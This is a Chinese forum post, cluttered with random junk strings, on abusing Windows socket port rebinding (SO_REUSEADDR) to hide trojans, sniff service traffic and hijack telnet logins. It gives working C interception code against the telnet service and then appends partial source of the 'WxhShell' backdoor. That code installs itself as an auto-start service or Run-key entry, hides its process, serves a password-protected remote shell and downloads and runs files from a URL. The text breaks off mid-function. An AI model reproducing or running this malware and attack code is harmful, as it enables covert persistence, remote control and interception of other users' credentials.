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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d)*(KhYie@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _O 52ai><b  
ec?1c&E  
  saddr.sin_family = AF_INET; SL*DK.  
/Nqrvy=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^_w*XV  
@aB9%An1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j:?N!*r=  
` !kL1oUYE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7x+=7,BZd  
FuMq|S  
  这意味着什么?意味着可以进行如下的攻击: ~x+Ykq0  
Hs<n^fyf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e 2*F;.)  
LV=^jsQ5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^?Vq L\V5  
DB Xm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M7U:g}  
-RCv7U`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !d|8'^gc  
x[}06k'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AFtCqq#[  
El1:?4;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zPE#[\O21B  
77_g}N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;siJ~|6)  
b7f0#*(?  
  #include 0Q*-g}wXfS  
  #include %g-0O#8}  
  #include LI:?Y_r  
  #include    3#<'[TF00t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y"Ihr5S\  
  int main() 9C1b^^Kb  
  { ^(m0M$Wk*  
  WORD wVersionRequested; {*nEKPq(_*  
  DWORD ret; _3KZME  
  WSADATA wsaData;  qV?sg  
  BOOL val; 67ZYtA|t  
  SOCKADDR_IN saddr; Z_jn27AC  
  SOCKADDR_IN scaddr; .='3bQ(UZ4  
  int err; `&G}  
  SOCKET s; ]g7HEB.Y  
  SOCKET sc; cCYl$MskZ  
  int caddsize; 8+L7E-  
  HANDLE mt; J2Y 3er  
  DWORD tid;    xLLC)~  
  wVersionRequested = MAKEWORD( 2, 2 ); IPkA7VhFF  
  err = WSAStartup( wVersionRequested, &wsaData ); &V FjH W  
  if ( err != 0 ) { |Pj9ZG#  
  printf("error!WSAStartup failed!\n"); ]#M/$?!]g2  
  return -1; |#:=\gugh  
  } w1.MhA  
  saddr.sin_family = AF_INET; afV P-m4L  
   w+3>DEfz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u,!4vKx  
?bn;{c;E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CElPU`J,\[  
  saddr.sin_port = htons(23); /W?z0tk`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &KOO&,  
  { `L+ ~&M  
  printf("error!socket failed!\n"); y 2cL2c$BT  
  return -1; u& AQl.u  
  } &,_?>.\[<  
  val = TRUE; qU}lGf!dVn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hQP6@KIe)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o9~h%&  
  { 1riBvBT  
  printf("error!setsockopt failed!\n"); D@}St:m}  
  return -1; HUD7{6}4  
  } mC% %)F'Zf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;*"!:GR%h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ''%;EW>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *u<rU,C8  
giQ{Xrj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k>$FT `  
  { J]$er0`LY  
  ret=GetLastError(); )Xq@v']%~9  
  printf("error!bind failed!\n"); HgS<Vxmq  
  return -1; K:Mujx:  
  } ,uKs>T^  
  listen(s,2); tru;;.lj8K  
  while(1) fuQ4rt[i  
  { (q~R5)D  
  caddsize = sizeof(scaddr); X9DM ^tt  
  //接受连接请求 ?'TA!MR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3^j~~ "2,w  
  if(sc!=INVALID_SOCKET) y @]8Ep  
  { 9$:QLE+t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -MQZiq7H4  
  if(mt==NULL) @*bvMEE  
  { Zm`'MsgFr  
  printf("Thread Creat Failed!\n"); D9e+  
  break; ],H1  
  } d'x<- l9  
  } **Qe`}E:  
  CloseHandle(mt); wBg<Q{J  
  } ev)rOcOU  
  closesocket(s); (ra:?B  
  WSACleanup(); 3"HGEUqA  
  return 0; TEH*@~P"  
  }   4!NfQk>X  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y] D7i?3N  
  { T_(qN;_  
  SOCKET ss = (SOCKET)lpParam; *(@L+D0N  
  SOCKET sc; i#CaKS  
  unsigned char buf[4096]; jc${.?m  
  SOCKADDR_IN saddr; !G+n"-h9'  
  long num; aW52.X z%8  
  DWORD val; j|3g(_v4W  
  DWORD ret;  5xG|35Pj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M"k3zK,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y\+(rC27  
  saddr.sin_family = AF_INET; # q0Ub-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); UY?i E=  
  saddr.sin_port = htons(23); vgUhN_rK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (#!(Q) ]  
  { TBoM{s=.  
  printf("error!socket failed!\n"); <`oCz Q1  
  return -1; +Q@/F~1@6@  
  } j;ff } b  
  val = 100; c^i"}2+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3bT6W, J4T  
  { [[";1l  
  ret = GetLastError(); ;zfQ3$@9  
  return -1; < fojX\}3  
  } N#<zEAB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v9j4|w  
  { I$3"|7[n  
  ret = GetLastError(); xI/{)I1f  
  return -1; zbF:R[)  
  } m;;0 Cl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4jC4X*  
  { >%PL_<Vbv  
  printf("error!socket connect failed!\n"); ~zXG<}n  
  closesocket(sc); UFzM#  
  closesocket(ss); 7yq7a[Ra  
  return -1; lpM>}0v   
  } w^:V."}-$  
  while(1) >!HfH(is\  
  { 3s+<    
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~8KF<2c   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >?\v@   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BCj`WF@8l{  
  num = recv(ss,buf,4096,0); = )JVT$]w  
  if(num>0) |.Y@^z;P3  
  send(sc,buf,num,0); a>&;K@  
  else if(num==0) 5 WN`8?  
  break; l0:e=q2Ax  
  num = recv(sc,buf,4096,0); m>Yo 9/XpZ  
  if(num>0) 1_33;gP  
  send(ss,buf,num,0); XEvGhy#  
  else if(num==0) w (vE2Y ?  
  break; &viwo}ls0  
  } tdw\Di#m  
  closesocket(ss); 0i5T] )r  
  closesocket(sc); uI[-P}bSc&  
  return 0 ; Q+u#?['  
  } > hDsm;,/  
oPBg+Bh*  
&(H)gjH  
========================================================== DJD]aI  
JA SR  
下边附上一个代码,,WXhSHELL y'0dl "Dy\  
q5'yD;[hE  
========================================================== .@8m\  
H/p-YtY  
#include "stdafx.h" &k_wqV  
/]MB6E7&  
#include <stdio.h> %0~wtZH_!  
#include <string.h> H.l,%x&K  
#include <windows.h> n ]6 0  
#include <winsock2.h> 9znx1AsN  
#include <winsvc.h> xM'S ;Sg  
#include <urlmon.h> N?2 #YTjR  
evg 7d  
#pragma comment (lib, "Ws2_32.lib") 4U! .UNi  
#pragma comment (lib, "urlmon.lib") "z#?OV5  
cyHak u+  
#define MAX_USER   100 // 最大客户端连接数 WFeMr%Zqh>  
#define BUF_SOCK   200 // sock buffer ${I@YSU  
#define KEY_BUFF   255 // 输入 buffer RaM#@D7  
3w<j:\i  
#define REBOOT     0   // 重启 )-6s7  
#define SHUTDOWN   1   // 关机 fw:^Lyn9$  
\@}$Wjsl  
#define DEF_PORT   5000 // 监听端口 O)RzNfI^`N  
4xAlaOw5M  
#define REG_LEN     16   // 注册表键长度 TOPPa?=vk  
#define SVC_LEN     80   // NT服务名长度 F~Z 0  
O"J.k&C<,  
// 从dll定义API H/@M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rlO%%Qn`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dt~}9HrU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QIMv9;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +U_-Lq )  
`6BS-AVO7  
// wxhshell配置信息 FbCZV3Y  
struct WSCFG { |B{$URu  
  int ws_port;         // 监听端口 'j"N2NJ  
  char ws_passstr[REG_LEN]; // 口令 P8,{k  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6JFDRsX>)?  
  char ws_regname[REG_LEN]; // 注册表键名 Lx:N!RDw  
  char ws_svcname[REG_LEN]; // 服务名 lPFdQ8M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (15Yw9Mv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J6["j   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jC Kt;lj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q*y9/HnI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]6VUqFO)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @+CSY-g$  
kO3k| 6f=  
}; " ;R3260  
3@cJ=   
// default Wxhshell configuration 5KH'|z  
struct WSCFG wscfg={DEF_PORT, 4h_4jqf=pU  
    "xuhuanlingzhe", !NAX6m  
    1, 7f\^VG  
    "Wxhshell", MMA@J  
    "Wxhshell", J2 rLsNC]0  
            "WxhShell Service", =<'iLQb1  
    "Wrsky Windows CmdShell Service", 0rm;)[SjF  
    "Please Input Your Password: ", b gc<)=  
  1, |nH0~P#!  
  "http://www.wrsky.com/wxhshell.exe", rIFC#Jd/  
  "Wxhshell.exe" }AsF\W+5  
    }; @`y?\fWh  
gJ GBD9wC  
// 消息定义模块 V+a%,sI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *r?51*J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; + $a:X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Obc3^pV&  
char *msg_ws_ext="\n\rExit."; Ae_ E;[mj  
char *msg_ws_end="\n\rQuit."; 2-E71-J  
char *msg_ws_boot="\n\rReboot..."; {O&liU4  
char *msg_ws_poff="\n\rShutdown..."; Lj Q1ar\  
char *msg_ws_down="\n\rSave to ";  hL{B9?  
vK.4JOlRF  
char *msg_ws_err="\n\rErr!";   [aS)<^  
char *msg_ws_ok="\n\rOK!"; -L'K  
~Yz/t  
char ExeFile[MAX_PATH]; NdSxWrD`m  
int nUser = 0; np\Q&  
HANDLE handles[MAX_USER]; tEX~72v  
int OsIsNt; +heS\I_Mp  
])wMUJWg2  
SERVICE_STATUS       serviceStatus; ' bw,K*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wY ;8UN  
*T2&$W|_a  
// 函数声明 MqBATW.pmJ  
int Install(void); 0^lL,rC   
int Uninstall(void); |p4OlUq  
int DownloadFile(char *sURL, SOCKET wsh); h7]]F{r5  
int Boot(int flag); @1ta`7#  
void HideProc(void); .9fluAG  
int GetOsVer(void); bSmaE7  
int Wxhshell(SOCKET wsl); }NBJ T4R  
void TalkWithClient(void *cs); iCSM1W3  
int CmdShell(SOCKET sock); YTPmS\ H _  
int StartFromService(void); Y 6Qb_X:  
int StartWxhshell(LPSTR lpCmdLine); , sJfMY  
K9M.+d4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .@3u3i64'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 75}u D  
?{z$ { bD  
// 数据结构和表定义 0(g MR  
SERVICE_TABLE_ENTRY DispatchTable[] = <$ZT]pT  
{ G~tOCp="p  
{wscfg.ws_svcname, NTServiceMain}, ^oB1 &G  
{NULL, NULL} 1&pP}v ?  
}; IC-xCzR  
y{?jr$js<  
// 自我安装 wG?kcfu  
int Install(void) geN%rD  
{ jp]geV54  
  char svExeFile[MAX_PATH]; R"t$N@ZFb  
  HKEY key; '/*c Yv45  
  strcpy(svExeFile,ExeFile); c^WBB$v  
%=<NqINM[  
// 如果是win9x系统,修改注册表设为自启动 ?jm2|:  
if(!OsIsNt) { 'C>SyU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i8 ):0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >(ww6vk2  
  RegCloseKey(key); +}0*_VW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2y7q x1$C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 446hrzW>@  
  RegCloseKey(key); 8=o(nFJw  
  return 0; *Z2Q]?:{ i  
    } nkj'AH"2  
  } /"{ ,m!  
} EF=D}"E6pO  
else { : RO:k|g  
bNU^tL3QZ  
// 如果是NT以上系统,安装为系统服务 ,UZE;lXJ'Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~+nSI-L  
if (schSCManager!=0) *3 8Y;{ 4  
{ |#jm=rT0y  
  SC_HANDLE schService = CreateService -*l[:5m  
  ( [=1?CD  
  schSCManager, #*M$,ig  
  wscfg.ws_svcname, RS02>$jo  
  wscfg.ws_svcdisp, <0 idG  
  SERVICE_ALL_ACCESS, oNsx Fi:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FH21mwV  
  SERVICE_AUTO_START, J<*Mk  
  SERVICE_ERROR_NORMAL, g):jZU]b  
  svExeFile, vm^# aoDB  
  NULL, "K!BJQ  
  NULL, ,:4w$!;  
  NULL, }UdqX1jz  
  NULL, knzED~ v@(  
  NULL )-"L4TC)  
  ); K$GXXE`  
  if (schService!=0) J+gsmP-_  
  { 3&Rqz9W  
  CloseServiceHandle(schService); RX\O'Zwlj  
  CloseServiceHandle(schSCManager); @N{Ht)1r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !jq6cND  
  strcat(svExeFile,wscfg.ws_svcname); 3i}B\ {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F_ Cz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _-\{kJ  
  RegCloseKey(key); &LQab>{*K  
  return 0; T2;  9  
    } q.F1Jj  
  } esFL<T  
  CloseServiceHandle(schSCManager); [eP]8G\ W  
} #7T={mh  
} {o<p{q  
eSBf;lr=  
return 1; BD#;3?|  
} d$~b`  
/iuNdh  
// 自我卸载 GZX!iT  
int Uninstall(void) :uDB3jN[  
{ <Pt\)"JA  
  HKEY key; s9bP6N!,  
GnaV I  
if(!OsIsNt) { cS7!,XC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R_&z2I  
  RegDeleteValue(key,wscfg.ws_regname); 2`m_"y  
  RegCloseKey(key); mXaUWgO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <!>}t a  
  RegDeleteValue(key,wscfg.ws_regname); !|c5@0Wr  
  RegCloseKey(key); Hv*O9!cC  
  return 0; (Fd4Gw<sq  
  } GTNTx5H  
} #7ZBbq3=  
} bM3e7olWS  
else { 3U$fMLx]k  
 m:Abq`C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k>hZ  
if (schSCManager!=0) <);u]0  
{ }!Lr!eALr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^ s4|  
  if (schService!=0) V%=t2+  
  { 2]ljm] \l  
  if(DeleteService(schService)!=0) { our5k   
  CloseServiceHandle(schService); _Z2)e*(  
  CloseServiceHandle(schSCManager); HI 61rXNF  
  return 0; o]U ==  
  } jQ}| ]pj+  
  CloseServiceHandle(schService); O 9)8a]  
  } /[5up  
  CloseServiceHandle(schSCManager); {rLOAewr  
} _4Pi>  
} E5Jk+6EcMa  
heA\6W:u&  
return 1; j(JI$  
} p\\q[6  
2fB@zF  
// 从指定url下载文件 _P1-d`b0 a  
int DownloadFile(char *sURL, SOCKET wsh) kGP?Jx\PkH  
{ -<=< T@,  
  HRESULT hr; 9k&$bC+Q  
char seps[]= "/"; l !v#6#iq  
char *token; Q-5wI$=  
char *file; C:{'0m*jKs  
char myURL[MAX_PATH]; S(l^TF  
char myFILE[MAX_PATH]; U+ =q_ <  
pE N`&'4  
strcpy(myURL,sURL); H#E0S>Jw|  
  token=strtok(myURL,seps); k$!&3Rh  
  while(token!=NULL) +\chHOsw  
  { + aF jtb  
    file=token; 6}$cDk`dz  
  token=strtok(NULL,seps); GkFNLM5'  
  } mgWtjV 8  
,P+&-}gn9  
GetCurrentDirectory(MAX_PATH,myFILE); ]\lw^.%  
strcat(myFILE, "\\"); S\m]ze  
strcat(myFILE, file); +qec>ALAg  
  send(wsh,myFILE,strlen(myFILE),0); _guY%2% yR  
send(wsh,"...",3,0); J4i0+u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }s[/b"%y  
  if(hr==S_OK) [>86i  
return 0; {w++)N2sh  
else RP9||PFS~~  
return 1; |IvX7%*]~  
F/Xhm91 ^  
} &Is%I<'o  
vI@8DWs  
// 系统电源模块 >smaR^m  
int Boot(int flag) I1,?qr"Zr  
{ 79DC]48M  
  HANDLE hToken; rIb{=';  
  TOKEN_PRIVILEGES tkp; :.,I4>b2  
ghl9gFFj  
  if(OsIsNt) { .^23qCs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AdNsY/Y(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B|&<  
    tkp.PrivilegeCount = 1; pifgt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fh'Jb*|Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mq L+W  
if(flag==REBOOT) { <#-ERQw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )j]RFt  
  return 0; g2I@j3  
} :>k\uW  
else { ilP&ctn6+c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,J~dER\%  
  return 0; ;1nd~0o  
} q,GL#L  
  } )r~Oj3TH  
  else { OsXQWSkj~  
if(flag==REBOOT) { va0 a4s1O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y~fy0P:T  
  return 0; __M}50^  
} w'!gLta  
else { Syk^7l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nL? B  
  return 0; Xqy{=:0  
} -]e@cevy  
} a/ZfPl0Ns[  
'};Xb|msU  
return 1; ,x/j&S9!  
} "'Q:%_;  
]x|sT Kv2  
// win9x进程隐藏模块 jcj)9;n=!  
void HideProc(void) Q%a4g  
{ ~VKw%WK  
`PL!>oa(8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QS_u<B  
  if ( hKernel != NULL ) o,-@vp  
  { GCoqKE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ])`F$S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H4N==o  
    FreeLibrary(hKernel); &}]Wbk4:  
  } !q X 7   
"elh~K  
return; vv u((b  
} {9)f~EbM!  
&Wba2fD  
// 获取操作系统版本 D|xSO~M5  
int GetOsVer(void) pnD#RvmW2e  
{ .f}I$ "2  
  OSVERSIONINFO winfo; 'BC-'Ot  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y9WH%  
  GetVersionEx(&winfo); iG ;6e~p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x~W&a*WNT  
  return 1; ()r DM@  
  else | 8AH_Fk  
  return 0; AA66^/t  
} (<ejJPWT  
vq{:=:5'P  
// 客户端句柄模块 R1nctA:  
int Wxhshell(SOCKET wsl) 8wBns)wy@  
{ |^1eL I  
  SOCKET wsh; qRUz;M4  
  struct sockaddr_in client; yoH6g?!O  
  DWORD myID; 4avM:h  
j_}e%,}  
  while(nUser<MAX_USER) eRGip2^cq+  
{ cX*^PSM  
  int nSize=sizeof(client); u^ T2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T:si?7CR  
  if(wsh==INVALID_SOCKET) return 1; 0<Y)yNsV  
+,smjg:O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !} 1p:@  
if(handles[nUser]==0) (i`DUF'#y  
  closesocket(wsh); Eb.{M  
else MG~^>  
  nUser++; 3y@'p(}Az  
  } )b =$!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W?$ ImW  
y]/{W}D  
  return 0; ]`MRH[{  
} { "/@,!9rJ  
)P$ IXA\  
// 关闭 socket Nk 7Q  
void CloseIt(SOCKET wsh) P"- ,^?6  
{ X \h]N  
closesocket(wsh); p5*i d5  
nUser--; 39OZZaWL  
ExitThread(0); Bp}<H<@  
} "8-]6p3u  
a9"Gg}h\  
// 客户端请求句柄 ]Z~H9!%t  
void TalkWithClient(void *cs) `0sa94H1[  
{ ;a68>5Lm*  
3&}wfK]X  
  SOCKET wsh=(SOCKET)cs; Xdjxt?*  
  char pwd[SVC_LEN]; *bZV4}  
  char cmd[KEY_BUFF]; !D1F4v[c=  
char chr[1]; RY*6TYX!  
int i,j; I3SLR  
gSP|;Gy  
  while (nUser < MAX_USER) { xbIxtZm  
^UJO(   
if(wscfg.ws_passstr) { r:u5+A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JK_sl>v.7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zRB1V99k  
  //ZeroMemory(pwd,KEY_BUFF); bJ9>,,D  
      i=0; GwpJxiFgk  
  while(i<SVC_LEN) { ;'nu9FU*O  
IH{g-#U  
  // 设置超时 = uOFaZ4  
  fd_set FdRead; 0`_Gj{:L  
  struct timeval TimeOut; 75{QBlf<  
  FD_ZERO(&FdRead); W$,c]/u|  
  FD_SET(wsh,&FdRead); ')go/y`YK  
  TimeOut.tv_sec=8; )(,+o  
  TimeOut.tv_usec=0; Pj+XKDV]T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )'nGuL-w!i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b-ZvEDCR  
/ VJ[1o^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pTcm2-J  
  pwd=chr[0]; wJ+"JQY.J+  
  if(chr[0]==0xd || chr[0]==0xa) { TVKuvKH8U  
  pwd=0; 5 J 0  
  break; [ h%ci3  
  } *!Xhy87%Z)  
  i++; @v|_APy#  
    } YT#" HYO  
[_${N,1  
  // 如果是非法用户,关闭 socket r] 2}S=[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T#T!a0  
} TC ^EyjD  
qdOaibH_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P E.^!j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1C:lXx$|  
#VD[\#  
while(1) { DUa`8cE}  
2TY|)ltsF  
  ZeroMemory(cmd,KEY_BUFF); K47W7zR  
(]rtBeT  
      // 自动支持客户端 telnet标准   %<K`d  
  j=0; c^I_~OwaE  
  while(j<KEY_BUFF) { 7IjFSN>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EpS"NQEe  
  cmd[j]=chr[0]; YwEXTy>0  
  if(chr[0]==0xa || chr[0]==0xd) { )x#^fN~ 7`  
  cmd[j]=0; \Z<' u;  
  break; J,k9?nkY /  
  } d&t |Y:,8  
  j++; AOhsat;O`  
    } p.&FK'&[0  
sJ!AI n<  
  // 下载文件 /O+,vRw\A  
  if(strstr(cmd,"http://")) { $--W,ov5j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K6_{AuL}4  
  if(DownloadFile(cmd,wsh)) %J7 ;b<}To  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H7*/  
  else a+IU<O-J?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #O qfyY!  
  } d:Wh0y}  
  else { @ScH"I];uA  
Id|38   
    switch(cmd[0]) { 1+v)#Wj  
  ;L++H5Kz6  
  // 帮助 -bduB@#2d  
  case '?': { W|; .G9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vY:A7yGW  
    break; h9RG?r1  
  } O0c#-K.f  
  // 安装 oj[Wzeg%  
  case 'i': { a";(C ,:0  
    if(Install()) ma vc$!y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Rp2  
    else  g&#.zJ[-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I[G<aI!  
    break; D8qZh1w%A|  
    } {088j?[hzk  
  // 卸载 vEOoG>'Zq  
  case 'r': { :J5xO%WA(  
    if(Uninstall()) P$4G2>D8dg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MW6d-  
    else S2h?Q $e3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D`2Iy.|!  
    break; Mq8jPjL  
    } NAlYfbp  
  // 显示 wxhshell 所在路径 +t})tDPXw  
  case 'p': { ?,O{,2}  
    char svExeFile[MAX_PATH]; D*I%=);B_  
    strcpy(svExeFile,"\n\r"); 6m|j " m  
      strcat(svExeFile,ExeFile); Ft#d & I  
        send(wsh,svExeFile,strlen(svExeFile),0); <9B\('  
    break; `c ^2  
    } }L3kpw  
  // 重启 N{ @B@]  
  case 'b': { D<]z.33  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =i4Ds  
    if(Boot(REBOOT)) _ ^r KOd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {YT!vD9.  
    else { Yu>VW\Fb  
    closesocket(wsh); Yc BY[i0  
    ExitThread(0); Yw vX SA  
    } 0j F~cV  
    break; VZ 5EV'D8!  
    } j ~:Dr   
  // 关机 CfNHv-jDL  
  case 'd': { rfpeX   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m(L]R(t  
    if(Boot(SHUTDOWN))  LkD$\i  
